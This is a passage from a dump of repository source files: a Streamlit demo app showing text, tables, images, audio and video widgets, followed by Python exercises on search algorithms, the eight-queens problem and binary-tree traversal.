<tr><td>seven</td><td>eight</td><td>nine </td></tr>\n </table>\n </td>\n <td colspan='2' rowspan='2'>\n <table color='pink' border='0' cellborder='1' cellpadding='10' cellspacing='0'>\n <tr><td>eins</td><td>zwei</td><td rowspan='2'>drei<br/>sechs</td></tr>\n <tr><td>vier</td><td>fünf</td> </tr>\n </table>\n </td> \n </tr>\n <tr><td>abc</td></tr>\n </table>\n >];}\n \"\"\"\n st.graphviz_chart(dot_format)\n\n\ndef get_sections() -> Dict[str, Callable]:\n return {\n \"Show charts\": show_charts,\n \"Show maps and graphs\": show_maps_and_graphs\n }\n" }, { "alpha_fraction": 0.6027472615242004, "alphanum_fraction": 0.6248626112937927, "avg_line_length": 38.565216064453125, "blob_id": "87fa05f3fc7dd8f8b9b6be8f0bb65d9a674f2ea8", "content_id": "f5e2d131b910fab75d7b83b98e3fb549424b2044", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7280, "license_type": "no_license", "max_line_length": 621, "num_lines": 184, "path": "/ui/basics.py", "repo_name": "Magier/streamlit_demo_fhLUG", "src_encoding": "UTF-8", "text": "import string\nfrom random import random\nfrom typing import Dict, Callable\n\nimport streamlit as st\nimport pandas as pd\nimport numpy as np\nfrom pathlib import Path\n\n\ndef show_text_widgets() -> None:\n st.header(\"Display text\")\n st.write(\"This section shows the diverse way how text can be displayed in [streamlit](https://www.streamlit.io/)\")\n\n st.subheader(\"Regular text\")\n with st.echo():\n st.text(\"Hello World\")\n\n # Markdown\n\n st.write(\"------\")\n st.subheader(\"Better formatting with Markdown\")\n with st.echo():\n st.markdown(\"Hello **World** :wave:\")\n\n with st.echo():\n st.markdown(\"\"\"\n Markdown allows:\n * making ordered lists\n * nested\n * (un-) ordered\n * show $\\LaTeX$ when wrapping it in `$ $`\n * URLs: [fhLUG](https://fhlug.at/)\n \"\"\")\n\n st.write(\"`markdown` can be used to display (unsafe) HTML code by setting the `unsafe_allow_html`-flag\")\n with st.echo():\n html_wrapper = \"\"\"<div style=\"overflow-x: auto; border: 1px solid #e6e9ef; border-radius: 0.25rem; padding: 1rem; margin-bottom: 2.5rem\">{}</div>\"\"\"\n displacy_res = \"\"\"\n <div class=\"entities\" style=\"line-height: 2.5; font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Helvetica, Arial, sans-serif, 'Apple Color Emoji', 'Segoe UI Emoji', 'Segoe UI Symbol'; font-size: 18px\">\n When\n <mark class=\"entity\" style=\"background: #aa9cfc; padding: 0.45em 0.6em; margin: 0 0.25em; line-height: 1; border-radius: 0.35em\">\n Bob\n <span style=\"font-size: 0.8em; font-weight: bold; line-height: 1; border-radius: 0.35em; text-transform: uppercase; vertical-align: middle; margin-left: 0.5rem\">PERSON</span>\n </mark>\n started working on self-driving cars at\n <mark class=\"entity\" style=\"background: #7aecec; padding: 0.45em 0.6em; margin: 0 0.25em; line-height: 1; border-radius: 0.35em\">\n Google\n <span style=\"font-size: 0.8em; font-weight: bold; line-height: 1; border-radius: 0.35em; text-transform: uppercase; vertical-align: middle; margin-left: 0.5rem\">ORG</span>\n </mark>\n in\n <mark class=\"entity\" style=\"background: #bfe1d9; padding: 0.45em 0.6em; margin: 0 0.25em; line-height: 1; border-radius: 0.35em\">\n 2007\n <span style=\"font-size: 0.8em; font-weight: bold; line-height: 1; border-radius: 0.35em; text-transform: uppercase; vertical-align: middle; margin-left: 0.5rem\">DATE</span>\n </mark>\n , few people outside of the company took him seriously.\n </div>\n \"\"\"\n st.markdown(html_wrapper.format(displacy_res), unsafe_allow_html=True)\n\n # Latex\n st.write(\"------\")\n st.subheader(\"Show $\\LaTeX$\")\n with st.echo():\n st.latex(r\"f(x) = \\frac{1} {\\sigma \\sqrt{2\\pi}} e^{-\\frac{1}{2} (\\frac{x-\\mu}{\\sigma})^2}\")\n\n st.write(\"------\")\n st.subheader(\"Show Code\")\n\n st.markdown(\"\"\"Code can be displayed using the `st.code()` command.\n When using this command to display code, syntax highlighting is enabled.\n \"\"\")\n st.code(\"\"\"st.code('print(\"Hello World\")')\"\"\")\n st.markdown(\"Which outputs the following:\")\n st.code('print(\"Hello World\")')\n\n st.markdown(\"\"\"A nice utility function to document code is the `echo`-command. \n `echo()` is a _context manager_ that outputs everything in its scope as code\n \"\"\")\n\n st.code(\"\"\"with st.echo():\\n\\tst.code('print(\"Hello World\")')\"\"\")\n\n # write\n st.markdown(\"-----\")\n st.write(\"\"\"\n ### universal `write` command\n > This is the swiss-army knife of Streamlit commands. It does different things depending on what you throw at it.\n \"\"\")\n\n with st.echo():\n st.write(\"\"\"\n the `write` function can:\n * display `markdown`\n * display `dataframe`\n * display exceptions\n * display information about a function\n * display dictionaries in interactive widgets\n * display charts\n *\n \"\"\", \"take multiple arguments\")\n\n st.write(\"#### display dict\")\n with st.echo():\n st.write({\"a\": 1, \"b\": 2})\n\n st.write(\"#### function information \")\n with st.echo():\n def inspect_me(data: pd.DataFrame) -> bool:\n \"\"\"\n A dummy function which has a very insightful doc-string\n :param data: pandas Dataframe containing useful data\n :return: returns always True\n \"\"\"\n return True\n\n st.write(inspect_me)\n\n st.write(\"\"\"\n -----\n _For completeness: there are also [magic commands](https://docs.streamlit.io/api.html#magic-commands)_ \n > Magic commands are a feature in Streamlit that allows you to \n write markdown and data to your app with very few keypresses. \n > How it works is simple: any time Streamlit sees either a variable or literal value on its own line,\n it automatically writes that to your app using `st.write`.\n \"\"\")\n\n\ndef show_tabular_data() -> None:\n n = 20\n df = pd.DataFrame({\"Column A\": np.random.randint(0, 100, n),\n \"Column B\": np.random.randn(n),\n \"Column C\": np.random.randint(0, 10, n)})\n\n st.subheader(\"Show dataframe\")\n\n if st.checkbox(\"Highlight maximum value\"):\n with st.echo():\n df = df.style.highlight_max(axis=0)\n\n with st.echo():\n st.dataframe(df, 1000)\n st.markdown(\"_Note: bug with width most likely fixed in next version_\")\n\n st.subheader(\"Show table\")\n with st.echo():\n st.table(df)\n\n\ndef show_media_widgets() -> None:\n DATA = Path('data/external')\n st.write(\"\"\"\n ### Display images \"\"\")\n\n st.write(\"#### Reference images\")\n with st.echo():\n st.image(\"https://www.dogalize.com/wp-content/uploads/2018/03/ceiling-cat.jpg\",\n caption=\"Ceiling cat\", use_column_width=True)\n\n st.write(\"#### Embed image\")\n with st.echo():\n st.image(\"\"\"data:image/jpeg;base64,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\"\"\",\n caption=\"embedded image\", width=500)\n\n # audio\n st.write(\"------\")\n st.subheader(\"Embed audio\")\n with st.echo():\n audio_file = open(DATA/'applause7.mp3', 'rb')\n st.audio(audio_file, format='audio/mp3')\n st.write(\"_Note: seems to have trouble in Firefox_\")\n\n # video\n st.write(\"------\")\n st.subheader(\"Embed video\")\n with st.echo():\n st.video(\"https://www.youtube.com/watch?v=B2iAodr0fOo\", start_time=2)\n\n\ndef get_sections() -> Dict[str, Callable]:\n return {\n \"Show text widgets\": show_text_widgets,\n \"Show tabular data\": show_tabular_data,\n \"Show media widgets\": show_media_widgets\n }\n" } ]
10
KunchiLiu/MyNewCoder
https://github.com/KunchiLiu/MyNewCoder
bd4f455cf5a4a25988f7129e8a071e00319851ce
63024e8a70070d835a652f352b8c853922d4082e
02914cd7cf129fb8a798fe7ff09b3bdebe28c1e7
refs/heads/master
2020-06-05T09:45:10.710707
2019-11-10T09:49:14
2019-11-10T09:49:14
192,397,304
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.4848484992980957, "alphanum_fraction": 0.7272727489471436, "avg_line_length": 10.333333015441895, "blob_id": "d663c17b213432dfdb18c8c0edf2afd1aa86f4fd", "content_id": "b79922b086f1377cda8c301dabeea60ae96f3550", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 33, "license_type": "no_license", "max_line_length": 12, "num_lines": 3, "path": "/README.md", "repo_name": "KunchiLiu/MyNewCoder", "src_encoding": "UTF-8", "text": "# MyNewCoder\nBy Kunchi Liu\n2019/10/28" }, { "alpha_fraction": 0.46355140209198, "alphanum_fraction": 0.4785046875476837, "avg_line_length": 16.29032325744629, "blob_id": "94921644541ab7c7df2462d3c6401c607e9d1d2a", "content_id": "de393cfd02e40a2c9b48b823def90929d5a0b4b1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 585, "license_type": "no_license", "max_line_length": 34, "num_lines": 31, "path": "/Find.py", "repo_name": "KunchiLiu/MyNewCoder", "src_encoding": "UTF-8", "text": "# 实现查找算法\n\n# 顺序查找,无序有序都行\ndef SearchSeq(arr, elem):\n for i in range(len(arr)):\n if arr[i] == elem:\n return i\n\n return None\n\n# 二分查找,有序表\ndef SearchBin(arr, elem):\n\n low = 0\n high = len(arr) - 1\n\n while low <= high:\n mid = (low + high) // 2\n if elem < arr[mid]:\n high = mid - 1\n elif elem > arr[mid]:\n low = mid + 1\n else:\n return mid\n\n return None\n\n\nif __name__ == '__main__':\n array = [i for i in range(20)]\n print(SearchBin(array, 4))" }, { "alpha_fraction": 0.4365355968475342, "alphanum_fraction": 0.4838227927684784, "avg_line_length": 22.6235294342041, "blob_id": "28fdcc1a1d770084ce55d4c22a155754f6f47aad", "content_id": "b14cb4a440b0e1b5a8291026a7e0bb91833828a6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2283, "license_type": "no_license", "max_line_length": 89, "num_lines": 85, "path": "/EightQueen.py", "repo_name": "KunchiLiu/MyNewCoder", "src_encoding": "UTF-8", "text": "# 八皇后问题\n\ndef check(board, pos):\n x, y = pos\n board_len = len(board)\n\n for i in range(x):\n for j in range(board_len):\n if board[i][j] == 1:\n if j == y or (abs(i-x) == abs(j-y)):\n return False\n\n return True\n\n\ndef EightQueen(board, row=0):\n # 初始化从第0行开始搜索\n board_len = len(board)\n if board_len == row:\n print(board)\n # return True # 不注释,只输出一个结果\n return False\n\n for y in range(board_len):\n # 逐步从1-8列搜索\n if check(board, (row, y)):\n board[row][y] = 1\n if not EightQueen(board, row+1):\n board[row][y] = 0\n else:\n return True\n\n return False\n\n## 改进,只存储上有皇后的位置,即board=[0]*8,下标是行,值是列数\ndef check1(board, row, col):\n for i in range(row):\n if abs(board[i]-col) in (0, abs(i-row)):\n return False\n\n return True\n\ndef EightQueen1(board, row=0):\n # 初始化从第0行开始搜索\n board_len = len(board)\n if board_len == row:\n printBoard1(board)\n # return True\n return False\n\n for y in range(board_len):\n # 逐步从1-8列搜索\n if check1(board, row, y):\n board[row] = y\n if EightQueen1(board, row+1):\n return True\n\n return False\n\ndef printBoard1(board):\n import sys\n print(board)\n for x,y in enumerate(board):\n sys.stdout.write('□ ' * y + '■ ' + '□ ' * (len(board)-1-y))\n #print('□ ' * x + '■ ' + '□ ' * (len(board)-1-y))\n print('')\n\ndef aa(a=1):\n\n return\n\n\nif __name__ == '__main__':\n\n # board = [[0]*8]*8\n # [[0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0], ..., [0, 0, 0, 0, 0, 0, 0, 0]]\n # 这种方法不是正确创建二维数组的方法,是创建了8个指向一维数组[0]*8的引用,所以当board[0][1]=1时,board会输出下面的结果:\n # board[0][1] = 1\n #[[0, 1, 0, 0, 0, 0, 0, 0], [0, 1, 0, 0, 0, 0, 0, 0], ..., [0, 1, 0, 0, 0, 0, 0, 0]]\n\n board = [[0]*8 for i in range(8)] # 正确创建二维数组的方法\n\n EightQueen(board, 0)\n board1 = [0 for i in range(8)]\n EightQueen1(board1, 0)\n\n" }, { "alpha_fraction": 0.5346369743347168, "alphanum_fraction": 0.54668790102005, "avg_line_length": 27.80349349975586, "blob_id": "906efaae867458ad3cb54436592e0004f4fe2572", "content_id": "ac03c2a6ed8a03a07ca1ff4da9bda199aa2a9349", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 14520, "license_type": "no_license", "max_line_length": 124, "num_lines": 458, "path": "/BinaryTree.py", "repo_name": "KunchiLiu/MyNewCoder", "src_encoding": "UTF-8", "text": "\nclass Node(object):\n '''定义结点类'''\n def __init__(self, elem=-1, lchild=None, rchild=None):\n self.elem = elem\n self.lchild = lchild\n self.rchild = rchild\n\nclass Tree(object):\n '''定义树类'''\n def __init__(self):\n self.root = Node()\n self.myQueue = []\n\n def addNode(self, elem):\n '''添加结点'''\n node = Node(elem)\n\n if self.root.elem == -1: # 如果树是空,对根节点赋值\n self.root = node\n self.myQueue.append(self.root)\n else: # 寻找子树未齐的结点\n treeNode = self.myQueue[0]\n if treeNode.lchild == None:\n treeNode.lchild = node\n self.myQueue.append(treeNode.lchild)\n else:\n treeNode.rchild = node\n self.myQueue.append(treeNode.rchild)\n self.myQueue.pop(0) # 如果该结点存在右子树,则将该结点丢弃\n\n def front_recur(self, root):\n '''利用递归实现先序遍历'''\n if root == None:\n return\n else:\n print(root.elem)\n self.front_recur(root.lchild)\n self.front_recur(root.rchild)\n\n def middle_recur(self, root):\n '''利用递归实现中序遍历'''\n if root == None:\n return\n else:\n self.middle_recur(root.lchild)\n print(root.elem)\n self.middle_recur(root.rchild)\n\n def later_recur(self, root):\n '''利用递归实现后序遍历'''\n if root == None:\n return\n else:\n self.later_recur(root.lchild)\n self.later_recur(root.rchild)\n print(root.elem)\n\n def front_stack(self, root):\n '''利用堆栈实现先序遍历'''\n if root == None:\n return\n myStack = []\n node = root\n while node or myStack:\n while node:\n print(node.elem)\n myStack.append(node)\n node = node.lchild\n node = myStack.pop()\n node = node.rchild\n\n def middle_stack(self, root):\n '''利用堆栈实现中序遍历'''\n if root == None:\n return\n myStack = []\n node = root\n while node or myStack:\n while node: # 为空表示没有左子树了\n myStack.append(node)\n node = node.lchild\n node = myStack.pop()\n print(node.elem)\n node = node.rchild\n\n def later_stack(self, root):\n '''利用堆栈实现中序遍历'''\n if root == None:\n return\n myStack1 = []\n myStack2 = []\n node = root\n myStack1.append(node)\n\n while myStack1:\n node = myStack1.pop()\n if node.lchild != None:\n myStack1.append(node.lchild)\n if node.rchild != None:\n myStack1.append(node.rchild)\n myStack2.append(node)\n\n while myStack2:\n node = myStack2.pop()\n print(node.elem)\n\n\n def level_queue(self, root):\n '''队列实现层次遍历'''\n if root == None:\n return\n node = root\n myQueue = []\n myQueue.append(node)\n #level = 1\n while myQueue:\n node = myQueue.pop(0)\n #print('层次遍历第{}层'.format(level))\n print(node.elem)\n if node.lchild != None:\n myQueue.append(node.lchild)\n #level = level + 1\n if node.rchild != None:\n myQueue.append(node.rchild)\n\n def TreeNodeNum_recur(self, root):\n '''递归求二叉树中结点的个数'''\n if root == None:\n return 0\n else:\n return self.TreeNodeNum_recur(root.lchild) + self.TreeNodeNum_recur(root.rchild) + 1\n\n def TreeNodeNum_queue(self, root):\n '''非递归求二叉树中结点的个数,用队列层次遍历的思想'''\n if root == None:\n return 0\n NodeNum = 1\n node = root\n myQueue = []\n myQueue.append(node)\n while myQueue:\n node = myQueue.pop(0)\n if node.lchild != None:\n myQueue.append(node.lchild)\n NodeNum += 1\n if node.rchild != None:\n myQueue.append(node.rchild)\n NodeNum += 1\n\n return NodeNum\n\n def TreeDepth_recur(self, root):\n '''递归求二叉树深度'''\n\n if root == None:\n return 0\n else:\n return max(self.TreeDepth_recur(root.lchild), self.TreeDepth_recur(root.rchild)) + 1\n\n def TreeDepth_queue(self, root):\n '''非递归求二叉树深度,队列层次遍历,关键点是两个维护两个变量,一个是当前层次剩余结点数,一个是下一层次剩余结点数'''\n if root == None:\n return 0\n CurrentLevelNodeNum = 0\n NextLevelNodeNum = 0\n Depth = 0\n node = root\n myQueue = []\n myQueue.append(node)\n CurrentLevelNodeNum += 1\n while myQueue:\n node = myQueue.pop(0)\n CurrentLevelNodeNum -= 1\n if node.lchild != None:\n myQueue.append(node.lchild)\n NextLevelNodeNum += 1\n\n if node.rchild != None:\n 